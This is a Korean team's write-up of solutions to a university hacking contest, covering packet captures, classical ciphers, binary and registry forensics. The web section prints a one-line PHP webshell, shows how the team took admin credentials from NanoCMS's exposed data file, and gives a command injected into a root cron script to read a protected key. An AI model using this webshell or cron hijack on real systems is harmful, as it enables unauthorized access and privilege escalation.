HUST 내부해킹대회 보고서 Uprising 팀원: 이규현, 김정주, 장민석, 송진기
Network.1 문제 파일을 UltraEdit으로 열어보니 ip가 적혀있고 통신내용인 것 같은 내용들이 포함되어있어 Wireshark로 열어보니 패킷들이 캡쳐되어있었다. Wireshark에서 Follow TCP Stream을 이용해 통신 내용을 보는데 일부가 인코드된 Base64 처럼 보 여서 Base64 디코더를 이용해 적당한 코드들만 골라서 http://www.motobit.com/util/base64- decoder-encoder.asp 에서 디코드 해보았다. ---------------------------------------------통신 내용--------------------------------------------- [192.168.0.131] hello? any body hear me? [121.127.174.186] hi [192.168.0.131] who r u [121.127.174.186] i'm viginere. [121.127.174.186] oh! r u got money? [192.168.0.131] i'm viginere. [121.127.174.186] not yet. [192.168.0.131] what? i transmited last night!! [192.168.0.131] plz check agian!! [192.168.0.131] what? i transmited last night!! [121.127.174.186] wait. [192.168.0.131] now, whisper me top secret! [121.127.174.186] the key is akama [121.127.174.186] TREWEYSSFIMOIEGOWF ÖRw2W6VR à [192.168.0.131] Thax!! 처음에 key가 akama라길래 인증 프로그램에 넣어보니 답이 아니라고 해서 삽질을 좀 했다; 혹시 나해서 viginere를 검색해보니 Vigenere라는 암호법이 있다고 하여 Decrypter를 찾아보았다. http://stackoverflow.org/tools/vigenere.php 에서 Cyphertext에 TREWEYSSFIMOIEGOWF를 넣고 Key에 akama를 넣었더니 THEKEYISTIMEISGOMF라고 나왔다. 맨 끝부분 값이 이상하게 나와서 적 당히 TIMEISGOLD라고 인증프로그램에 넣었더니 답이었다.
Network.2 문제파일을 UltraEdit으로 열어보니 This program cannot be run in DOS mode 라는 문구가 있는 걸 보고 exe파일인걸 알고 확장자를.exe로 바꾸고 실행하였다. 아무런 창이이 안뜨고 프로세스만 올라와 있어 서버프로그램 같아서 Wireshark로 패킷을 캡쳐해보니 다음과 같이이 나왔다. R_U_Enjoy?를 인증프로그램에 넣었더니 답이었다.
Network.3 222.122.118.29:16511에 NC로 접속해보니 The Next key : 뒤에 임의의 값이이 포함된 것을 볼 수 있었다. 힌트에 소켓프로그래밍을 하라길래 PHP로 프로그램을 만들어보았으나나 소켓 수신이 안돼 서 실패 Python을 공부해가며 TCP/IP 통신을 하는 스크립트를 찾아 적당히 수정하였다. 처음에 데이터를 받으면 The Next key : 8EEA85B5A3A51EB556887AB7AC7527CE 와 같은 형태이 므로 받은 스트링의 The Next key : 를 로 replace하고 다시 데이터를 보냈다. 이를 10번정도 반복하다가 Good! The Next 877EE5A3576BAC5575BA2A881E8BECA5 의 형태로로 데이터를 받았다. 다시 Good! The Next 를 로 치환하고 보내면 The Next key : 의 형태로 값을 받게되는데 이 역시 위에서와 마찬가지로 로 치환하고 보내기를 반복하다 보니 Yes! Next stage is revers : 62AE7B175CECAB3A87AE585A855875BE 의 형태로 값을 받게 되었다. revers라고 써있는 것으로 봐선 문자열을 거꾸로 만들어서 보내라는 의미로 보여서 문자열 부분만 골라서 뒤집은 후 다시 보내기, The Next key : 를 치환, 문자열 뒤집기, 데이터 보내기를 반복하다보면 Auth Key is : w0rry1ng_n3v3r_ch4ng3d_4ny7h1ng 를 받을 수 있었다. w0rry1ng n3v3r_ch4ng3d_4ny7h1ng가 문 제의 답이었다.
Crypto.1 문제를 열어보니 다음과 같은 문구가 쓰여있었다. MWB IHTYRJI WM T JTYI TCC EUROIB: OXXR://ODCX.PIX/UPXBWADEI/UPXBW_1.OXYJ, XOUC EUROIB JWWL'C JULI VWEL? PW, TEXDTJ MZU NDUG! the key is : EBTGK_OTEL!!! (you must decrypt it) 먼저 OXXR://ODCX.PIX에서 OXXR이 http이면, ODCX.PIX가 hust.net인 것을 알았고, 문장의 중간 에서 한글자만 쓰이는 알파벳은 보통 a이다. 또, OXYJ가 html일 것이고, OXXR://ODCX.PIX/UPXBWADEI/UPXBW_1.OXYJ의 형태에 맞는 URL은 HUST 홈페이지에서 http://hust.net/introduce/intro_1.html 밖에 없는 것을 알 수 있었다. 이를 토대로 다음과 같은 해 독표를 작성 할 수 있었다. A B C D E F G H I J K L M N O P Q R S T U V W X Y Z d r s u c e l h n P a i o t m 이를 이용해 EBTGK_OTEL!!! 이 CRA**_HAC*!!! 임을 알 수 있었고, 게싱으로 CRAZY_HACK!!! 을 넣었더니 답이었다.
Binary.1 문제파일을 UltraEdit으로 열어보니 알 수 없는 내용들이 있어 내용을 면밀히 보다가 ASCII로 key 를 검색하다 보니 The key is http://www.yes24.com/24/goods/4447549 라는 부분을 발견 할 수 있었다. 책제목이 답인줄 알고 인증프로그램에 넣었다가 아니라길래 이걸 영어로 써야하나 하 고 당황했는데 그냥 http://www.yes24.com/ /24/goods/4447549를 넣어보니 답이었다.
Forensic.1 문제 : to day(2016 Sat Jun 11) ).. 나의 소장용 폴더가 사라졌다ㅠ_ ㅜ) 범인을 잡고자 CCTV를 돌려 봤지만 범인은 나를 유린하는듯이 凸 을 날리고.. USB를 빙빙 돌리며 유유히 사라지는 것만 볼 수 있었다.. 분노한 나는 모든 수단을 동원했다!! 결국... ParentIdPrefix 가 8&65e171b&0 라는것을 알았다. 하 지만 이것으로는 부족하다!! key : USB의 제조사명_제품명_버전번호 일단, 문제파일을 UltraEdit으로 열어보니 HIVE.tar 라는 부분이 보여 압축파일일 수 있다는 생각 에 압축프로그램으로로 열어보니 HIVE.tar라는 파일이 압축되어있었다 다. HIVE.tar를를 압축해제 하자 총 7개의 파일이 보였는데 문제 힌트가 registry 복구여서 REGA라는 리를 열고 복구를 시도했다. 프로그램을을 이용해서 레지스트 그 중에 SYSTEM에 저장 장치 정보가 있어 살펴보던 중 USB 장치중에 ParentIdPrefix 8&65e171b&0인 장치를 찾을 수 있었다. USB 장치들의 이름 규칙을 보면 제조사 제품명 USB Device 이므로 제조사는 LGE이고, USB DRIVE 가 제품명임을 알 수 있었다. 이제 버전번호만 찾으면 됐는데, 처음엔 Driver Version을 말 하는 줄 알고 LGE_USB_DRIVE_5.1.2535.0를 인증프로그램에 넣어보니 답이 아니었다. 여러 삽질을 하던 끝에 장치정보가 들어있는 레지스트리의 경로에 Disk&Ven_LGE&Prod_USB_Drive&Rev_1100 가 포함되어있어 설마 revision 었다; 값이 버전이겠어 하고 LGE_USB_DRIVE_1100 으로 넣었더니 답이
Search 일단 서치문제를 보고서 icmp에 있는 어떤 기능을 이용하여 보안 쪽에 관련된 단어라는 것을 생 각하였다. 문제에서의 Bob와 Alice 두 사람만이 data를 볼 수 있다기에 일단 필터링 같은 단어를 생각해 보았다. 여러가지 단어를 찾아 보았지만 비슷한 개념의 단어는 쉽게 찾을 수 없었다. 문제에서 icmp packet에 대해 알고 있냐고 물었기에 packet이 반드시 들어간 단어인 줄 알고 계 속 시간만 낭비하였다. 그러다가 문제에서 두 사람만이 볼 수 있다고 하는 부분을 그림으로 이미 지한 단어들을 찾기 시작했다. 그렇게 찾은 것이 tunneling이다. tunneling은 인터넷을 사적이며 안전한 네트워크의 일부로서 사용하는 것으로서, 한 네트워크에서 다른 네트워크의 접속을 거쳐 데이터를 보낼 수 있도록 하는 기술을 말한다. 여기서 "터널"이란 어떤 회사의 메시지나 파일이 인터넷을 통해 이동할 수 있도록 하기 위해 제안되었다. 이것은 회 사들이 광역통신망 구축을 위해 더 이상 전용회선을 필요로 하지 않는다는 것과, 공중 네트워크 를 안전하게 이용할 수 있다는 것을 의미한다.
Web 문제 주소를 열어보니 Phake Organization 이라는 웹사이트가 있었고, Blog 메뉴를 눌러보니 한 블로그가 나왔다. 뭔가 뚫을만한 요소가 뭐가 있는지 살펴보았는데 가능성 있는 것들 중에는 (1) SquirrelMail (2) 블로그에서 쓰는 NanoCMS 가 있었다. 처음엔 SquirrelMail를 중점으로 두고 취약점들을 찾아봤는데 로컬에서 조작해서 뭔가 를 하는 것 외에는 HTML 태그 필터링을 안해서 XSS를 시도할 수 있는 것 밖엔 없었다. 혹시나 하는 마음에 XSS를 시도해놓았으나 아무것도 건지지 못했다-_-; 남은건 NanoCMS였는데 취약점을 찾아보니 data/pagesdata.txt에 로그인 계정과 패스워드가 남는 다고 한다. 그래서 /~andy/data/pagesdata.txt를 들어가보니 다음과 같은 코드를 발견 할 수 있었 다. "username";s:5:"admin";s:8:"password";s:32:"1adbb3178591fd5bb0c248518f39bf6d"; password값이 해쉬값이라길래 그냥 1adbb3178591fd5bb0c248518f39bf6d 라고 검색해 보았더니 asdf1234 라고 한다. (나중에 보니 패스워드가 주기적으로 바뀌는 것 같았다.) 위에서 구한 계정 아이디와 패스워드로 로그인해 Admin Panel에 접근할 수 있었다. 메뉴들을 살펴보았는데 딱히 특별한 것이 없었고 New Page에서 PHP코드를 넣고 그 페이지에 접 속하면 PHP코드가 실행되는 것을 확인하고 다음과 같은 간단한 웹쉘을 만들었다. <pre> <?php system($_get['cmd']);?> </pre> 이 웹쉘을 이용해 url/~andy/index.php?page=test&cmd=[command] 로 명령어를 입력할 수 있었 다. (원래 리버스텔넷을 사용하였는데 갑자기 노트북이 블루스크린이 떠서 꺼진 이후로 잘 접속이 안되어 그냥 포기하고 웹쉘만 이용하였다.) 디렉토리 어딘가에 key.txt가 있다길래 find / -name key.txt 로 찾아보았으나 존재 하지 않았다. 삽질을 하던 끝에 힌트가 하나 더 나왔는데 /root에 key.txt가 있어 root 권한이 있어야만 보인다 는 것이었다. 일단 root권한을 따기 위해 익스플로잇을 떠올렸는데 uname a를 해보니 Linux ubuntu10 2.6.35-22-generic-pae #35-Ubuntu SMP Sat Oct 16 22:16:51 UTC 2010 i686 GNU/Linux
라고 떴고, 2.6.35용 익스플로잇은 없었다. 한참을 고민하고 검색을 한 결과 root권한으로 실행되 고 있는 프로세스의 취약점을 이용하면 된다는 것을 알게 되었다. 그래서 ps elf로 root권한으로 실행되는 프로세스를 찾던 중 cron을 발견하고 검색해보니 주기적으로 명령 실행하는 프로그램이 라고 한다. 따라서 /root/key.txt를 다른 곳에 복사하는 스크립트를 쓰고 기다렸다가 복사된 파일 을 열어보면 되는 것이다! /etc/crontab을 tail로 보니 /var/www/events/scripts/cron-curl.sh가 짧은 시간 동안 반복적으로 실 행되도록 설정되어있었고, /var/www/events/scripts/cron-curl.sh에 한 줄을 추가하면 되는데 웹쉘 을 이용하고 있어서 vi는 쓸 수가 없었다. 고심하던 끝에 echo와 >> (Append; Redirection)를 이 용하면 된다는 것을 알았다. echo "cat /root/key.txt > /tmp/a" > /var/www/events/scripts/croncurl.sh 를 웹쉘로 실행하였고, 얼마 후 /tmp/a를 tail로 열어보니 funnnylife!@ 라고 쓰여있었다. 인증프로그램에 넣어보니 답이었다.